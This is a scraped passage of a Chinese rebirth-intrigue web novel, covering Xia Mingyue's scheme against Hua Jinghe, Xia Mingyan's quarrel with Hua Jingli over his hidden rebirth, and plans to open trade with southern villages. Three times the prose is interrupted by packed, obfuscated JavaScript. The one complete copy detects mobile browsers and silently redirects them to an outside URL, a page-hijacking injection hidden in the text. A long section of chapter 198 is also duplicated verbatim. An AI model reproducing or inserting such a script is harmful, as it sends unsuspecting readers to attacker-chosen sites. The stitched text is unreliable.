她忽然想到,华靖离当初是死在夏明嫣前头的,她隐约记得他似乎让曹葱白往端侯府送过什么东西,好像是一封信还有一块令牌,还是送到后宅的……难不成是给夏明嫣的? 华靖离跟端侯府的女眷都没什么往来,没准儿还真是夏明嫣……好啊,还好意思说她不知廉耻、不守妇道,分明她夏明嫣也是。 而且她被关进了华家家庙,是华家先对不起她,她才跟人有私情的。 可夏明嫣呢,别管李玦对她怎样,她都在端侯府混得风生水起的,她凭什么对不起李玦? “明月,你怎么了?是想到了什么吗?”李玦最近一看到夏明月出神,就忍不住多问几句。 因为最近她只要这样,之后就能说出一些惊人之语,虽然很多话眼下都无法验证,可是有些近处的事儿的确还被她说着了。 李玦不太信那些神啊鬼啊的东西,尤其在夏明月这么一个一眼就能看到底的人身上,他没觉得这是什么神异的事,他只觉得是夏家、楚家在别人府上安插了眼线,知道许多他不知道的事。 夏明月回过神来,笑了笑道:“我在想御青书院的擢选,就算之后你要去北疆,这擢选也还是要重视起来。选上了,咱们自己不去,把位子让给别人,那是咱们高风亮节。” “要是选的不好,别人该说你没本事了。夫君,我不是说你没有才学,可是酒香也怕巷子深啊,我明日就再去跟大舅舅说说,让他再帮你想想法子。” “还有那个华靖和,你不是说他也要去北疆历练吗?有他在,华侯定是帮着他,哪儿还会多看你一眼?还得让他在擢选里栽个大跟头才行。” “你的意思是……我一面求着华兄给我机会,一面又对他的兄弟不好,这样不太好吧?”李玦淡淡地道,故意露出些不悦神色。 夏明月笑道:“是我做的,哪里就关你的事儿了?再说了,也不用我和舅父出手,华靖和这个人可不像你,你洁身自好,他可是个荒唐惯了的,外面惹了一堆债。” “就翻出那么一桩来闹大了,就够他们受的。到时候他在擢选上闹了个没脸,我倒要看看他还有没有脸去北疆。” “你放心,这由头我已经找到了。你以为华家的人就不怕他的那些事儿会被翻出来?他们怕得很,打从华靖和参加擢选,就找了人盯着那家人,这里面肯定有事儿。我让人去查,才知道是这么回事儿……” 她让李玦附耳过去,她将事情说了才道,“这种事儿在勋贵人家说大不大,说小不小,就算闹大了,也不过是一件韵事。没触及根基,华家就不会深查,他们急于掩盖,查不到咱们头上。” “就算他们查了,也只会查到我头上。我一个内宅妇人,只不过是为那女子抱不平罢了,怎么会想到这种当事儿也能牵连到华家二公子身上?无心之过罢了,不会有事的。” 夏明月对次很有信心,她这一个月来一直在暗中观察钩翊侯府在华靖和擢选这件事上的动向,她发现华家派了人去盯着一些人。 这些人都跟华靖和曾经做过的荒唐事有关,华家这是不想让华靖和的事儿被翻出来,连累了自家的名声。 而且这些事儿别看华家已经派人盯着了,看起来挺重视似的,但她打听之后才知道根本不是那么一回事。 她就说么,上一世华靖和根本就没参加这次擢选,这一次不知道怎么的,还是华靖和的生母卜小娘撺掇着儿子参加的。 这倒是没什么,卜小娘这个人爱跟人攀比,华靖和跟李玦从前也被人摆在一起比较过,没准儿就是瞧着李玦参加了,她也不甘心自己的儿子失了出风头的机会,就非把儿子推了出去。 关键就在于华家人根本没把华靖和参选当回事儿,大概就是想着他别出什么事儿,去玩儿一玩儿长长见识就完了,除了卜小娘,竟没有半个人为他运作。 就算是卜小娘,一个早就被人淡忘了的太后身边的旧日女官能有多少人情在?在背后托了人也都是白托,这样以来,华靖和竟像是没人管了似的,就是他自己也不上心。 夏明月跟李玦从某种程度上是一样的,他们都最恨这种在大事儿上故意表现得云淡风轻的人,别人都那么用心,他们偏偏不放在心上,这是要显得别人的天资都不如他们吗? 夏明月当时就上了心,她非要让华靖和进终选不可,到时候再把他给选下去,给李玦垫脚用,就这么的,华靖和便不费吹灰之力地进了终选。 就是这样了,华家人依旧没动静,后来好不容易出来了几个人盯着这件事,看着是华靖离身边的人,结果有一次那盯着的人吃酒的时候说漏了嘴,她这才知道,这些人竟然是华靖离派给夏明嫣的。 也就是说华靖离真像他自己说的那样,没指望华靖和选出个名堂来,就是去玩玩儿的,之后就要送华靖和去北疆历练了。 那些人手大概就是夏明嫣见他们谁都不管华靖和,看不下去了,她这个做嫂子的也不好什么都不做,这才要了人手去盯着。 呵,夏明嫣就是这么一个喜欢凸显自己的人,什么都管着,显得她有多关心华靖和似的。关心就关心吧,等出了事儿也是她的事儿。 夏明月拿定了主意,她非得揪住华靖和一个大错处闹大不可,到时候不仅能毁了华靖和的前途,还能让夏明嫣沾一身的腥。 她都看好了,那些人盯得最紧的就是一个吕姓女子。 那女子的姐姐生前曾经跟不少人有过首尾,后来生了一个孩子,两个月前还不明不白地吊死了。那些个首尾里其中一个就是华靖和,唉,也不知道那个孩子跟他有没有关系。 就算没有吧,她也得让他们有关系,只要事情闹大了,华靖和不仅会落选,还会名声扫地,就连婚事都得毁了。 第193章都坦白了 夏明嫣喜欢管闲事,等华靖和出了事儿,看她这个帮着兜揽的嫂子怎么跟华家人交代。 华靖和倒还说,他那个生母卜小娘可不是个吃素的,当年要不是这个卜小娘,她在华家又怎么有机会搭上还是个穷书生的孙允斌。 也是她运气好,这卜小娘还有点本事和眼光,孙允斌后来位极人臣的时候,也是关照过她的,她们之间可不是只有私情那么简单。 她呀,就是比夏明嫣命好,空虚寂寞的时候随便找了一个书生解闷,都能找到将来的相爷,就是她外祖父楚霆孝都没她眼光好呢。 想起孙允斌来了,她也得找找这个人了。这一世她从一开始就做了李玦的正室,她跟孙允斌不可能再是那种关系,可是这个人还是可用的…… 夏明月和李玦各怀心事,把他们的大事都商量定了,这边华靖离和夏明嫣也正对坐着,二人四目相对地相互端详着,各自都喝了五六盏茶了,依旧相对无言。 葱白和秋果都不知道进来热了几回水了,这一回又彼此对视了一眼,出去了。 最后还是华靖离先开了口:“明嫣,嫣儿,我先说好不好?我不是有意瞒你的,我也是担心突然说出来会吓着你。你看,重回一回,这么一个人就在你身边,什么都知道,是不是有点可怕?” 这话说不通,而且华靖离的语气特别像在哄孩子。 夏明嫣故意大声叹了口气:“我嫁进侯府的时候,侯爷还在静心居养伤,一开始也没见过几面。如果我没猜错,侯爷没多久就发现我也是重生的了吧?” “既然大家都是同道中人,有什么可怕的?侯爷是觉得自己可怕,还是我可怕?还是想着万一让别人知道了,你娶的侯夫人是个重生之人,别人会觉得你可怕?” 这是气还没消……华靖离现在想想,自己是挺不厚道的,尤其这件事情挑破是在夏明嫣给他治好了伤之后,这就多少有些用人朝前、不用人朝后的意思了。 华靖离继续哄道:“是我的错,可是我与夫人你从前并无深交,我也想着冒然捅破,或许大家都会尴尬。不如等到以后,互相熟识了再说。” “之后我几次想与夫人坦白,可是因为之前瞒得太久了,着实开不了这个口,也就耽误了下来。看着你为我治伤、孝顺我母亲,还帮我照顾靖和,我心里这个愧疚啊……排山倒海似的让我夜不能寐。” 夜不能寐? 夏明嫣冷笑:“如果我没记错的话,我替侯爷施针之后,侯爷着实睡了好些日子的好觉。要不是治伤的时候用了活蛊,让侯爷你忍不住呓语出声,恐怕你这辈子都不打算跟我坦白吧?” “诱着、哄着我做这个、做那个,到处试探我,看着我为你劳心劳力,很好玩儿吗?我实在不知道我在侯爷眼里究竟算什么?是细作?还是上一世跟害了你的人一伙儿的人?” 夏明嫣不是不讲道理的人,华靖离瞒着她,她也瞒着华靖离,看起来是公平合理的,可是细算这笔账却不是这样。 她瞒着华靖离,但她并没有要华靖离替她做什么,就算是他主动替她做的,花费了很多银钱,可那些对于他来说都是寻常之物,给了她也不担任何的风险。 就好比他给她的庄子、铺子,华家家底厚实,他的私产也一点都不少,给了她这些,并不会影响到他什么,而且那些东西说到底,她还都用在了他和华家身上。 那些药庄、山林地里的药材,一大半都用在了他身上,剩下的基本上也都通过云萃居用在了那些退军和他们的家眷身上,就算是铺子里卖出去的,账目也都清晰,银钱放在那儿是一文钱都没来得及花用的。 可是她为他做的呢,别的就不说了,单说用活蛊治伤的这一个多月,她之前说了多少回她没有把握,要请了她舅父回来才行,他呢? 他不停地给她鼓劲儿,说她能行,因为找不到她舅父,直接拒绝了先用药和施针暂时压制他体内的余毒,等到几年之后条件更合适的时候再行祛除的法子…… 他一个劲儿地说他一定能忍受得住那锥心刺骨的疼痛和折磨,说她一定能行,他怎么就不想想,这种事儿瞬息万变,即便上一世她治好过跟他同样情况的病患,时间、条件和时机都变了,也是可能失败的。 即便什么都没变,治疗伤病这种事儿就没有一定能成功的……他这么做算什么?给她几颗甜枣,就让她为他卖命了。 他有没有想过万一失败了,甚至让他的情况比原来更差了,她将会面对什么? 华叶峰和董氏再开明,心里能不心疼儿子? 太医那边,发现人不行了,他们要给宫里一个交代,能不说出实情,告诉圣上说其实是她给华靖离治的伤? 还有那些依靠这华靖离的华家军的兵将,他们又会怎么想?他们的前途又将通向哪里?会不会因为她都毁了? 还有夏家人和杨家人,她对夏家的大多数人都没什么感情,可是她的祖母还在夏家,还有沈小娘还在庄子上,她们两个都是夏家人。 还有杨家人,本来就因为当年的蛊医案被牵离开了元京,这些年一直避世隐居。若是她“害死”了华靖离,她用的还是蛊医之术,难保不会再一次牵连杨家。 可怜她外祖父去世之后,只剩下她舅父独立支撑,他的孩儿还没有长大,难道就要被她拖下深渊了? 这些都是要她来背负的,就算他能有法子把这些都压下去,没有牵连到这些人,再给她报个伤心暴毙,让他的心腹把她远远地送走,她心理上的压力呢?又该怎么算? 夏明嫣回想着这段时间她没日没夜地担惊受怕,每时每刻地谨小慎微,都是拜眼前的男人所赐,她就恨不得揍他一顿! 虽然她肯定打不过他,可是她就是想不计后果地揍他一顿。 “明嫣,我真不是故意的,我只是信任你,我没有办法把我自己交给别人。”华靖离无奈,深深地看着她。 第194章常王 夏明嫣冷哼一声:“堂堂钩翊侯、靖北大将军,最信任的人只有我这么一个小女子,说出去谁信?你这么说,又把太医、府医和在华家军中跟随你的医者情何以堪?” “就算你知道我对这样的病症有些钻研,我到底没有治愈过这种情况的人,你对我放心,我对自己都不放心。万一出了差错,我是局中人倒也罢了。” “你让杨家的人怎么办?从前我就未能为他们做什么,现在要是还连累他们,我还是人吗?上辈子我助纣为虐,是对不起你了,可是跟他们没有关系。” “不对,我舅父去远游这事儿,到底是真的还是假的?要是假的,就是你不让他来,他来了把握才更大。我一个人,万一失败了,对你不好,对谁都不好……”真不知道他是怎么想的。 夏明嫣被气得语无伦次,这人也太乱来了,说难听点一将功成万骨枯,再爱兵如子的将领也不能说真就能顾及到每个将士头上,他这是她和杨家人都当做他的属下了? 华靖离现在想想也觉得自己很过分,他这么做的确恨不厚道,跟他给她的那些比,那些连甜枣都算不上: “夫人,是我欠考虑,是我想错了,从前习惯了剑走偏锋、兵行险招,现在是有家有口的人,的确不该如此。” “舅父的事,我……只骗了夫人一半儿,找不到人是真的,去远游,舅父临行前的确对随行的药童说他要去远游,但是去远游勘察药材,应该带上药童才是,不该把药童留在哲州。” “郭林去查看之后,我更愿意相信是舅父他老人家不想连累药童,因为他是被别人带走的,要去一个危险的地方。” “危险的地方……北疆,还是南疆?”夏明嫣回想着上一世再见到舅父的时候,舅父的身子很不好,没多久就过世了。 他身为一个医者,还能让自己的身子变成这样,到头来还什么都没对她和舅母说,这里面一定有问题。 华靖离见她终于暂时放下了对隐瞒重生的纠缠,赶忙把自己知道地说了:“之前没有告诉你,是怕你担心,再者这件事也还没有一个确切的结果。” “有件事你或许不知道,在那一世,我曾经见过你舅父,应该比你们重逢要早一些,他那时候就在南疆,像是刚从什么地方逃出来。大概是怕被人看出来,惹出祸事,没有对我直说。” “不过我猜测,他这些年去的地方,跟常王有关。他很可能是被常王拘禁在了什么地方,之后自己逃了出来……” 常王蓄谋已久,最终叛乱,华靖离就是在平定南疆中身死的,而她的舅父也在之前出现在南疆。 夏明嫣暂时顾不上继续追究他什么,焦急地道:“你……能不能帮我暗中查访一下舅父的下落?如果真的是常王所为,他拘禁了一个郎中,尤其是一个习蛊医的郎中,不外乎几种可能。” “要么常王或者他身边的人需要蛊医医治,要么就是他想要配置某种蛊医才能配置出来的药,尤其可能是毒或者解药。” “如果是后者,舅父前世不认识你,与你没有任何私交,他见到你之后,的确不会跟你说这些,更确切的说是不敢。他甚至不愿意对我说,因为不想连累我。” 华靖离就是去平定常王叛乱的,要是舅父之前真是被常王抓去做事的,虽然他是被迫的,可是事情八成是做了的,就不能说他一点责任都没有。 他要是见到华靖离就坦露一切,那就相当于自投罗网,他当然不会说了。 至于见到她为什么不说?按理说那时候何夫人和邓澜都已经去世了,李玦已经决定将她扶正,就连更改户籍身份的文书都已经递到元京府衙去了。 她很快就是侯夫人了,李玦还封王在即,她已经站稳了,舅父为什么还是只字不提? “想到什么了?你不方便出远门,有什么需要的,我让南边的兄弟去办。华家的屯田封地许多都在南边,虽然不是在南疆,离得近,就总会有些熟识的人。” “这几日我就让他们去打探舅父的下落,等有了线索,要是可能,我们都亲自过去一趟。这件事耽误得越久,舅父陷得越深,得赶紧把人救出来才行。” 夏明嫣看向他,在那通严重看到了同样的担忧:“你也觉得……是为了炼药?该不会是跟后来南疆的疫病有关吧?” 常王之乱之所以难以平定就是因为那时南疆光是大疫就闹了三年,还有沙场上的那些毒虫和奇毒,要是舅父真落在了常王手里,就算不全都跟他有关,他也是重要参与者之一。 如果只是给常王或是他的家人诊治,身为医者,被好吃好喝地礼遇着,断然到不了坏了身子还看不出病症的地步。 这里有很大的一种可能,就是舅父的病是长期试药、炼药的结果,他消失的这十年里,毒和药早已入了骨,等到他逃出来,已经无力回天了。 他之所以还会拼尽全力逃出来,是想最后见见家人,大概也是想着万一华靖离平定南疆,他若还在常王手里,被人知晓,难免连累家人,这才坚持跑了出来。 在杨家,她就剩那么几个亲人了,这一世,她一定要保住舅父。 夏明嫣正色道:“之前说的从南边儿的寨子里开辟商路的事儿,你觉得如何?这路不仅将来华家军去南疆时能用,还能软化当地的寨民,等到他们的日子跟咱们的货物息息相关的时候,咱们再去了,他们也不好袖手旁观。” “至少不会毫不犹豫的对咱们的人下手,正好去走寨子,借着通商的名头,能够四处打探一下。他们要试药、种药材,都需要地方,尤其蛊医种药材多在深山当中。” “咱们冒然去找常王,他也只会矢口否认,倒不如通过这些寨民打探,说不定还能更快得到消息。” 华靖离倒是没想到与那些寨子通商还能有这些作用,前世的时候这些寨民在战事焦灼时的确起到了不好的作用,只是他原想着还是用另一种方式去解决。 第195章什么有用就用什么 上一世战事后期,那些个寨民堵死了粮饷运送的山路,导致大军无良,还控制了水源的上游,甚至在河水中投置毒物,导致大量将士殒命或是病残,导致华家军和州府军丧失了大量战力。 华靖离原想的是,索性早日派兵过去,在常王公然举事之前,先将这些寨民控制起来,直接派了地方官员和府军过施行与禹朝大部分地区一样的州郡制。 只是这样有一个很大的问题,就是朝廷一定会付出巨大的代价,而且即便成功的将这些寨子收归了地方管辖,基础和积累都会很薄弱,等到战事起时只怕轻易就会崩塌。 因为这些寨民悍勇,而且在人文上他们与禹朝的中原地区截然不同,他们当中甚至有很大一部分依旧停留在奴隶主和奴隶的关系中,加之语言不通,想要通过简单粗暴地征服和管制来管理他们,很难办到。 即便用了铁血手段向他们施压,也只能短暂征服他们,逼他们达成表面的臣服罢了,等到常王作乱,他们又会趁势而起。 他们迎合常王,帮着常王打华家军和朝廷的人并不是真的要跟常王联手,他们要的是反抗对他们的控制,任何控制都会反抗,说到底还是他们认为能够自成一派,自己控制一方领地。因此无论换了谁来做他们的主,他们都会反抗。 华靖离神色凝重地问道:“你觉得与他们通商,再慢慢影响他们,这样的方式可行?那些人或许连语言都不通,不要说官话,他们说的话连地方的方言都不是。” “与他们通商,给了他们好处,他们就能愿意与我们和睦相处?我的意思是,你愿意去做的事,我定然是支持的。只是这件事若当真有用,我想试着让朝廷参与进来。” 夏明嫣解释道:“这件事儿我还是从蛊医身上得到的启发,蛊医需要的药物、虫蛇多长于深山老林当中,采药、种药时走动得多了,跟这些寨民、山民便有了些交集。” “侯爷觉得给他们好处没用,说到底是担心他们好处收了,可关键时候依旧有奶就是娘、墙头草两边倒,还不听朝廷教化,从始至终都有不臣之心。等到常王起事时,他们还是会趁乱而起,借着常王成事。” “可是依我看,这件事还有转圜的余地,只是从前的方法不对。或许我这样说,不知你能不能明白。先就说这些个寨民,即便他们不尊朝廷,他们最终会如何?” “他们可会称王称帝,倾覆朝廷?还是说他们依旧只会占山为王,成为地方一霸,继续他们原先的统治?” 禹朝幅员辽阔,包罗万象众生,这些寨民和他们的所在的地方现在的状况说是还停留在几个朝代之前都说得过去。 说到底,他们都没有到不认可禹朝的地步,确切的说从文明、文化的角度来看,这两者都不在一个水平上,这让这二者之间难以建立起信任和沟通,也就造就了这些人在关键时候容易随风倒。 你去跟他们谈认同、谈信仰和忠义,这都是不可能的事儿,因为他们理解中的这些跟禹朝人理解的都不是一个东西。 你想用之乎者也、仁义礼智信那套说服他们,再许诺金银和那些好处,对他们用处不大,因为你可以给他们这些,常王和别人也可以给他们这些。 就是李玦想在背后使坏,也能暗中用金银开路,给钱、给东西和粮食,这些人谁养着他们,他们就听谁的话。 华靖离便道:“若这是你我二人要做的事,只要我能办到,我可以不计较他们之后的立场。总归跟他们有了交往,将来打起来了还是有些好处的,只是这好处比较微小罢了,但也总是聊胜于无的。” “可若是要争取朝廷的支持,这件事要经过圣上、户部甚至是兵部你父亲那边,这些事儿就不好不计较得失。” 朝廷要批钱批人,都是要算最终能得到多少回报的,要是最终只能肉包子打狗,有去无回,傻子也不愿意这么做。 而且现在常王还没反呢,要是派大量人手去征服这些寨民和他们的土地也不现实,因为这样会激起他们激烈的反抗,朝廷也会损失惨重。 更何况不计得失只是站在华靖离对她夏明嫣的信任和补偿的角度上说的,并不是真的不用算计得失,因为夏明嫣这么做的初衷就是为了十年后的南疆之战铺路。 夏明嫣表示理解:“这笔账当然可以算,只是投入的方式,我觉着需要变通。这些寨民、山民与我们再不同,有一点大家都是一样的,那就是我们到底都是人。” “是人,首要要保证的就是生存,的确收买他们可以给钱、给粮,可说到底这些东西用得着他们的时候就给了,用不着的时候就不给,那他们就得缺衣少食地饿着、病着。” “还是要走授之以渔的路子,不能把东西直接给他们,而是要从头开始教,我们为什么要耕种、懂手艺,我们做这些事儿究竟是为了什么,都要教化。” “我们得让我们拥有的和他们的血肉、根骨连为一体,得做到你中有我、我中有你,让他们离了咱们就活不成,但又让他们觉得跟着我们是放心的、是友善的。” “这释放善意当然也是有讲究的,就好比当地多烟瘴,他们当地有一些疾病,蛊医是有法子治的,我们可以在当地设立医署。他们接受不了中原的郎中,那便让蛊医去,或者假托巫医之名也行。” “左右是什么医,不过是个壳儿,是名分之争,用什么样的形式他们容易接受,就用什么形式,总之要跟他们打成一片就行。还有,这跟直接给他们东西有什么区别,怎样才能让他们更放心。” “依我看,关键就在于得把一些重要的东西留在他们自己手里,就好比给他们丸药,工艺掌握在我们手里,方子可以给他们看,还有药材关键的几味也要种在他们的山里。” 第198章他宁愿自己挥下这一刀 华靖离被欺负了,把欺负他的人叫到演武场上去,打一架。都是半大小子,除了那些原本两家就有仇怨的,谁不是打两架再偷跑出去喝顿酒就过去了? 尤其这种事儿,华靖离就没输过,那个年纪的男子之间比武艺、比才学,他赢了,在那些孩子面前他就是强者,哪儿还有什么下位者的卑微? 反倒是李玦就不行,说文采、学问,他就是个中间的,论武艺那就是个垫底的,他在书院和武院里一直都是下位者。 后来李玦用那些有些才名的诗句传扬名声的时候都离开书院了,他能在这种事儿上显出才名来,其实也不是他多能耐,主要是他能取巧。 要不然他拿整首的诗词出去,看看还能不能惊艳众人了?再有就是,各家子弟过了十六七了,文才上就专注于文章了,为的是将来科考,别人都很少把精力放在诗文上了。 夏明嫣对华靖离还是有些同情的:“你也是辛苦,一般的人,不管长大了是怎样的人物,做孩子的时候前头都有个帮着遮风挡雨的,你倒好,家里要你早日顶梁立户,外头你还得给别人遮风挡雨。” “可是你想想,他们端侯府再如何,老端侯的事儿已经多少年都没动静了,他家跟正经的侯门没法儿比,可是跟那些个小官吏和富户比,没见差什么。” “到底是连着三代都在元京的,只要不是直接明旨掉脑袋的大罪,谁不得照顾着点儿?不像你,你们家别的房头也是元京的,可你们这一房是外来户。” “刚来的时候官话还带着口音呢吧,就他那样的,还需要你护着?不过话说回来了,你经历了那么多的事儿,也有不少能相交的人,为何会对他格外地看重,轻易不往坏处想?” 夏明嫣是想让他反思一下,他不能轻易舍弃李玦这个人的原因,不就是相交于微末之时,想着后来物是人非,身边的旧人越来越少了,才格外珍惜那时的旧人么? 李玦与他相交,那份兄弟情,或许有那么一年多的光景是纯粹而真实的,他就就记住了。 对那些个寨民来说呢?他们现在还不懂该如何像禹朝大多数人一样过日子、奔前程,那么就让咱们来教会他们,手把手地教,从成长的开始就参与进去。 将来打断骨头连着筋,想闹翻了都不容易,就算闹翻了,他们里面有多少咱们的人呢,还不是知己知彼? 华靖离郑重地抱拳行礼:“夫人,华靖离受教了,这件事我去安排。过些日子进宫时,我先跟圣上通个气,最可能的是先由华家出面联合一下往南边去的商贾先做着,等到有了规模,再由朝廷插手。” “这样当地的寨民也能没那么排斥,不过我想着要是我们迟早要去南疆,这条路还是掌握在我们自己手里比较好。若说要把这条路上的寨子按照封地的成例直接封给华家,有些难度。” “我想的是,华家在北边儿有片封地,如今北疆已然要平定了,再有三五年就能彻底安定下来,我若是拿那片封地去换那些寨子所在的地方,不知道行不行。” 除了立朝时从龙的那些军侯府,后封的侯府只有赐田,没有封地。这里面的区别就在于封地上的税赋是给军侯府的,而赐田还要向府衙上缴税赋。 如今这封地可是不多了,尤其它不能产生新的,就显得尤为珍贵,但其实这也是朝廷忌惮并且要削减侯府的原因之一。 朝廷不想再让这些个军侯手头有大量自己的人马,不想让他们有封地,就想干脆让这个侯爷干脆就没了,这样什么都没了。 要是华靖离能用这封地换了通往南疆的荒蛮之地,只要运作得到,圣上和朝廷没有不答应的道理,这样正好不用担心华家在北疆尾大不掉了。 上一世太子谢维之所跟华家不对付,还连累到了华青青头上,不也是因为这个原因么? 这一世华靖离吃一堑长一智,他不等新君向他挥刀,这一刀他自己先挥下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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华靖离被欺负了,把欺负他的人叫到演武场上去,打一架。都是半大小子,除了那些原本两家就有仇怨的,谁不是打两架再偷跑出去喝顿酒就过去了? 尤其这种事儿,华靖离就没输过,那个年纪的男子之间比武艺、比才学,他赢了,在那些孩子面前他就是强者,哪儿还有什么下位者的卑微? 反倒是李玦就不行,说文采、学问,他就是个中间的,论武艺那就是个垫底的,他在书院和武院里一直都是下位者。 后来李玦用那些有些才名的诗句传扬名声的时候都离开书院了,他能在这种事儿上显出才名来,其实也不是他多能耐,主要是他能取巧。 要不然他拿整首的诗词出去,看看还能不能惊艳众人了?再有就是,各家子弟过了十六七了,文才上就专注于文章了,为的是将来科考,别人都很少把精力放在诗文上了。 夏明嫣对华靖离还是有些同情的:“你也是辛苦,一般的人,不管长大了是怎样的人物,做孩子的时候前头都有个帮着遮风挡雨的,你倒好,家里要你早日顶梁立户,外头你还得给别人遮风挡雨。” “可是你想想,他们端侯府再如何,老端侯的事儿已经多少年都没动静了,他家跟正经的侯门没法儿比,可是跟那些个小官吏和富户比,没见差什么。” “到底是连着三代都在元京的,只要不是直接明旨掉脑袋的大罪,谁不得照顾着点儿?不像你,你们家别的房头也是元京的,可你们这一房是外来户。” “刚来的时候官话还带着口音呢吧,就他那样的,还需要你护着?不过话说回来了,你经历了那么多的事儿,也有不少能相交的人,为何会对他格外地看重,轻易不往坏处想?” 夏明嫣是想让他反思一下,他不能轻易舍弃李玦这个人的原因,不就是相交于微末之时,想着后来物是人非,身边的旧人越来越少了,才格外珍惜那时的旧人么? 李玦与他相交,那份兄弟情,或许有那么一年多的光景是纯粹而真实的,他就就记住了。 对那些个寨民来说呢?他们现在还不懂该如何像禹朝大多数人一样过日子、奔前程,那么就让咱们来教会他们,手把手地教,从成长的开始就参与进去。 将来打断骨头连着筋,想闹翻了都不容易,就算闹翻了,他们里面有多少咱们的人呢,还不是知己知彼? 华靖离郑重地抱拳行礼:“夫人,华靖离受教了,这件事我去安排。过些日子进宫时,我先跟圣上通个气,最可能的是先由华家出面联合一下往南边去的商贾先做着,等到有了规模,再由朝廷插手。” “这样当地的寨民也能没那么排斥,不过我想着要是我们迟早要去南疆,这条路还是掌握在我们自己手里比较好。若说要把这条路上的寨子按照封地的成例直接封给华家,有些难度。” “我想的是,华家在北边儿有片封地,如今北疆已然要平定了,再有三五年就能彻底安定下来,我若是拿那片封地去换那些寨子所在的地方,不知道行不行。” 除了立朝时从龙的那些军侯府,后封的侯府只有赐田,没有封地。这里面的区别就在于封地上的税赋是给军侯府的,而赐田还要向府衙上缴税赋。 如今这封地可是不多了,尤其它不能产生新的,就显得尤为珍贵,但其实这也是朝廷忌惮并且要削减侯府的原因之一。 朝廷不想再让这些个军侯手头有大量自己的人马,不想让他们有封地,就想干脆让这个侯爷干脆就没了,这样什么都没了。 要是华靖离能用这封地换了通往南疆的荒蛮之地,只要运作得到,圣上和朝廷没有不答应的道理,这样正好不用担心华家在北疆尾大不掉了。 上一世太子谢维之所跟华家不对付,还连累到了华青青头上,不也是因为这个原因么? 这一世华靖离吃一堑长一智,他不等新君向他挥刀,这一刀他自己先挥下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那些有军功的,将来可以再去别处投军,他们不是犯了错了,朝廷没说以后不让他们投军。他们从前立过功,好多都被赏赐过田地。 屯田的,拿了安家银子可以就地买田置地,而且朝廷本身一定会给一些安置的田地,不会什么都不给,他们就地就能变成乡绅和商贾。 那些个膏粱子弟,平时就没干什么好事儿,留着也只会惹祸,将来说不定还要害家祸族……上辈子最后谢维和孙允斌讨伐华家的那几桩罪证,不是刚好就是这些干出来的么? 这些人要是来闹,干脆就在钩翊侯府门口安排两三个兵将,一个个打赢了才能进来,进来了的,不能说服改过自新、好好过日子的,直接把他们的错处收拢起来,严重的送府衙,不严重的直接交给云翠居那边管起来,让他们干上两年活儿,什么人都老实了。 夏明嫣点点头:“南边儿的药材也可以做一做,与禹朝挨着的那些地方还有过了海的,多有烟瘴之地,蛊医也帮得上忙。蛊医之术在中原被人忌惮,出去了确实好东西。” “不知道侯爷能不能帮忙在圣上面前说一说,当年那桩案子里蛊医受了牵连,当时的事儿的确很难说清楚,可是圣上仁慈,给蛊医留了活路了。” “若是不许蛊医回到元京,甚至不允许在中原盛行,要不然就放他们去南边,放他们走出去。这些个药材和蛊粉、蛊虫的买卖,做起来的话不比当下盛行的医术差,得了利了,我这儿自己的那份都给你投到那些个山沟沟里去。” 呦,这是要替他帮补家计了?贤妻啊,而且这不失为投石问路的一步好棋! 当年户部尚书被蛊医医治后**身亡,别人不知道,可华靖离是知道的,圣上之所以没有对蛊医下明旨,只是让他们离开元京,以后不许在明面上坐大,就是因为当时户部尚书手上关于老端侯海贸旧案的证据也跟着不翼而飞了。 那蛊医是杨家的一个远宗,从前都没来过元京,是跟着别人到那户部尚书家里做客,偶然给对方瞧了病的,这位大人一死,这蛊医也被人灭了口。 而丢了的东西刚好跟端侯府和陆家有关系,那这人为什么死的、究竟**的不是很明显了吗? 圣上心里跟明镜似的,知道这事儿跟蛊医没什么关系,可是苦于没有证据,又想钓出背后的大鱼,不得不有个态度才将蛊医逐出元京的。 再有就是蛊医之术的确比其他的医术诡谲,也容易被人利用,不应该成为主流,也就借此机会压制一下。 可要说蛊医到南边儿去,潮湿、烟瘴之地本就更适用,周边的那些地方更是如此,而且南边民风悍勇,若是让良医过去反而难以进行下去,蛊医平日里便与这些地方的人打交道,更为适宜。 况且这些蛊医都是中原人,即便没有高深的学问,他们懂的、会的对于那些地区已经算是教化了,这也可以扩大禹朝在那边的影响,长久来看也能减少战事,那边有个什么风吹草动,消息也能尽早传回来。 华靖离笑了笑,借机捏了一下她的脸颊:“行了,跟我耍心眼儿,借着我的伤,圣上定会松口,不止是在南边儿。蛊医可以回来,只要不坐大,良医依旧是最大的一家,就没什么不可以的。” “不然你以为为什么我会坚持让你为我医治?我就是你的活招牌,我要是再能翻身上马,跟谁比试上一场,你信不信,就算圣上不松这口,都得有不少人私下找你们看诊的?” “你……你存了这种心思?那也太冒险了,你以后不许这样!”夏明嫣先是气结,接下来心里软乎得跟什么似的。 他竟然存了给她做活招牌的心思,才这般犯险,什么都让她亲力亲为。 也是了,若只是为了治伤,大可以推说在元京养不好了,要去别院,等出去了把那两个跟着的太医找借口一关,不让他们见人,等他们能回来告状也晚了。 那样的话她就可以避着人给他治伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378908|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将来他好不好的都说是别人医治的,完全不用让这两位太医事事知晓,倒像是过来给她帮忙和做见证似的。 